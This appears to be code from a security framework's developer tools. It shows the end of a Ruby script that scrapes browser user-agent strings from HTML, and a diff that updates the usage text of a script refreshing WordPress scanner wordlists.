replace_agent_string(lines, 'Edge Windows', edge_url, '<td>Edge \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Safari iPad', safari_url, '<td>\s*Safari on <b>Ipad</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Safari MacOS', safari_url, '<td>Safari \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Firefox Windows', firefox_url, '<td>\s*Firefox on <b>Windows</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
replace_agent_string(lines, 'Firefox MacOS', firefox_url, '<td>\s*Firefox on <b>Macos</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
File.write(user_agent_filename, lines.join("\n") + "\n")
@@ -1,9 +1,6 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# Update modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most
# up to date list of vuln components based on exploits/scanners in the framework
#
# by h00die
#
@@ -12,7 +9,9 @@ require 'optparse'
options = {}
optparse = OptionParser.new do |opts|
opts.banner = 'Usage: update_wordpress_vulnerabilities.rb [options]'
opts.banner = 'Usage: ruby tools/dev/update_wordpress_vulnerabilities.rb [options]'
opts.separator "This program updates data/wordlists/wp-exploitable-themes.txt and wp-exploitable-plugins.txt which are used by modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most up-to-date list of vuln components"
opts.separator ""
opts.on('-h', '--help', 'Display this screen.') do
puts opts
exit